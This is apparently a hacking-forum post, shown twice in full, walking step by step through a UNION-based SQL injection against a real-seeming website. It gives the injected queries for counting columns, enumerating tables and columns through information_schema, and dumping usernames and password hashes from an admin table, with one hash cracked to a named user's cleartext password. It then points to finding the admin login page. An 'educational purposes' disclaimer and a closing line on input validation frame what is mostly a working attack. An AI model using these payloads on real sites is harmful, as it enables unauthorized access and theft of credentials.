SQL Injection Tutorial :-
This tutorial is only for educational purposes. Kindly do not misuse it.
Log on to You do not have permission to view the full content of this post. Log in or register now.. Basically we are going to send the queries through URL to get back results on screen accordingly. The motive is to get name of table, name of colmun in which usernames and passwords are stored and finally fetching them. Instead of copying and pasting the long links, simply click on "click here" and open in new tab.
Step1 . Find number of columns.
Lets use "ORDER BY" clause here, it is used to sort the columns.Choose any number,
say 10. Here I have assumed that number columns cant be more then 10."--" is used for making anything after it comment.
Now go to this URL
You do not have permission to view the full content of this post. Log in or register now. order by 10-- Click here
Actually we instructed it sort the result by 10th column. But it returned us with an error,this
means number of columns are less then 10. Lets replace it with 9.
You do not have permission to view the full content of this post. Log in or register now. order by 9. But again we got an error. This
means number of columns are less than 9. Like this we keep on moving, until we dont get any error.
Finally we reach on '6'
You do not have permission to view the full content of this post. Log in or register now. order by 6--
we didn't get any error, this means there are 6 colums.
Step 2 .Find vulnerable columns.
Now lets use "UNION ALL" and "SELECT" command. Remember to put dash (-) before 130.
You do not have permission to view the full content of this post. Log in or register now. union select all 1,2,3,4,5,6--. Click here
We would get a couple of numbers on screen. The bold ones are the most vulnerable columns.
In this case the most vulnerable is number 2.
Step 3 . Find database version.
Replace the most vulnerable column with "@@version" or "verson()" (if first one doesn't work).
You do not have permission to view the full content of this post. Log in or register now. union select all 1,@@version,3,4,5,6-- Click here
We got the version on screen. It is. The only thing to note is that version is 5 point something that
is greater than 5. We would have followed some other approach in case the version would be
less than 5 because there is no database by default like "information_schema" which stores information about tables/columns of other databases. in version less than 5.
Step 4 . Finding table names.
Replace vulnerable column no. with "table_name".
You do not have permission to view the full content of this post. Log in or register now. union select all 1,table_name,3,4,5,6 from
information_schema.tables where table_schema=database()-- Click here
We got first table name on the screen.
To get all tables use group_concat
You do not have permission to view the full content of this post. Log in or register now. union select all 1,group_concat(table_name),3,4,5,6 from information_schema.tables where
table_schema=database()--
Click here
Step 5 .Finding column names.
Simlary get all the columns by simply replacing 'table' with 'column'
You do not have permission to view the full content of this post. Log in or register now. union select all 1,group_concat(column_name),3,4,5,6 from
information_schema.columns where table_schema=database()-- Click here
There is a repeating element like in this case is 'id' .From it, we come to know which table number
has which columns.
Step 6 .Fetching data from columns.
We can fetch the data stored in any column. But the interesting ones here are username and password.
These columns are in first table that is tar_admin. "0x3a" is used simply to insert a colon in result to separate it, it is hex of colon.
You do not have permission to view the full content of this post. Log in or register now. union select all 1,group_concat(username,0x3a,password),3,4,5,6 from tar_admin--. Click Here
So finally we got the usernames and passwords on screen. But passwords are encrypted.
Mostly these encryptions are crackable. Lets choose any username say
"Sneds". The password in encrypted form is 7d372d3f4ad3116c9e455b20e946dd15 .Lets logon to You do not have permission to view the full content of this post. Log in or register now. and put the hashed(encrypted) password here.
And it would crack for us. We got 'oorwullie' in result ( password in clear text).
Note:Hashes are type of encryptions which are irreversible. There are numberless online crackers available. Keep trying. Sometimes very strong hashes can not be cracked.
Where is the login panel or login page of website ?
So you got the key, where is lock now ? Most of the websites have login pages at default locations.
There is any website, say You do not have permission to view the full content of this post. Log in or register now.. The login page would be at
You do not have permission to view the full content of this post. Log in or register now. , You do not have permission to view the full content of this post. Log in or register now. , You do not have permission to view the full content of this post. Log in or register now. etc.
Download this admin page finder from here and it would try all these default pages.
So You came to know that how deadly it could be to allow users to send their input without any filteration/validation. So never be lazy at programming and use possible filteration mechanisms.
This tutorial is only for educational purposes. Kindly do not misuse it.
Log on to You do not have permission to view the full content of this post. Log in or register now.. Basically we are going to send the queries through URL to get back results on screen accordingly. The motive is to get name of table, name of colmun in which usernames and passwords are stored and finally fetching them. Instead of copying and pasting the long links, simply click on "click here" and open in new tab.
Step1 . Find number of columns.
Lets use "ORDER BY" clause here, it is used to sort the columns.Choose any number,
say 10. Here I have assumed that number columns cant be more then 10."--" is used for making anything after it comment.
Now go to this URL
You do not have permission to view the full content of this post. Log in or register now. order by 10-- Click here
Actually we instructed it sort the result by 10th column. But it returned us with an error,this
means number of columns are less then 10. Lets replace it with 9.
You do not have permission to view the full content of this post. Log in or register now. order by 9. But again we got an error. This
means number of columns are less than 9. Like this we keep on moving, until we dont get any error.
Finally we reach on '6'
You do not have permission to view the full content of this post. Log in or register now. order by 6--
we didn't get any error, this means there are 6 colums.
Step 2 .Find vulnerable columns.
Now lets use "UNION ALL" and "SELECT" command. Remember to put dash (-) before 130.
You do not have permission to view the full content of this post. Log in or register now. union select all 1,2,3,4,5,6--. Click here
We would get a couple of numbers on screen. The bold ones are the most vulnerable columns.
In this case the most vulnerable is number 2.
Step 3 . Find database version.
Replace the most vulnerable column with "@@version" or "verson()" (if first one doesn't work).
You do not have permission to view the full content of this post. Log in or register now. union select all 1,@@version,3,4,5,6-- Click here
We got the version on screen. It is. The only thing to note is that version is 5 point something that
is greater than 5. We would have followed some other approach in case the version would be
less than 5 because there is no database by default like "information_schema" which stores information about tables/columns of other databases. in version less than 5.
Step 4 . Finding table names.
Replace vulnerable column no. with "table_name".
You do not have permission to view the full content of this post. Log in or register now. union select all 1,table_name,3,4,5,6 from
information_schema.tables where table_schema=database()-- Click here
We got first table name on the screen.
To get all tables use group_concat
You do not have permission to view the full content of this post. Log in or register now. union select all 1,group_concat(table_name),3,4,5,6 from information_schema.tables where
table_schema=database()--
Click here
Step 5 .Finding column names.
Simlary get all the columns by simply replacing 'table' with 'column'
You do not have permission to view the full content of this post. Log in or register now. union select all 1,group_concat(column_name),3,4,5,6 from
information_schema.columns where table_schema=database()-- Click here
There is a repeating element like in this case is 'id' .From it, we come to know which table number
has which columns.
Step 6 .Fetching data from columns.
We can fetch the data stored in any column. But the interesting ones here are username and password.
These columns are in first table that is tar_admin. "0x3a" is used simply to insert a colon in result to separate it, it is hex of colon.
You do not have permission to view the full content of this post. Log in or register now. union select all 1,group_concat(username,0x3a,password),3,4,5,6 from tar_admin--. Click Here
So finally we got the usernames and passwords on screen. But passwords are encrypted.
Mostly these encryptions are crackable. Lets choose any username say
"Sneds". The password in encrypted form is 7d372d3f4ad3116c9e455b20e946dd15 .Lets logon to You do not have permission to view the full content of this post. Log in or register now. and put the hashed(encrypted) password here.
And it would crack for us. We got 'oorwullie' in result ( password in clear text).
Note:Hashes are type of encryptions which are irreversible. There are numberless online crackers available. Keep trying. Sometimes very strong hashes can not be cracked.
Where is the login panel or login page of website ?
So you got the key, where is lock now ? Most of the websites have login pages at default locations.
There is any website, say You do not have permission to view the full content of this post. Log in or register now.. The login page would be at
You do not have permission to view the full content of this post. Log in or register now. , You do not have permission to view the full content of this post. Log in or register now. , You do not have permission to view the full content of this post. Log in or register now. etc.
Download this admin page finder from here and it would try all these default pages.
So You came to know that how deadly it could be to allow users to send their input without any filteration/validation. So never be lazy at programming and use possible filteration mechanisms.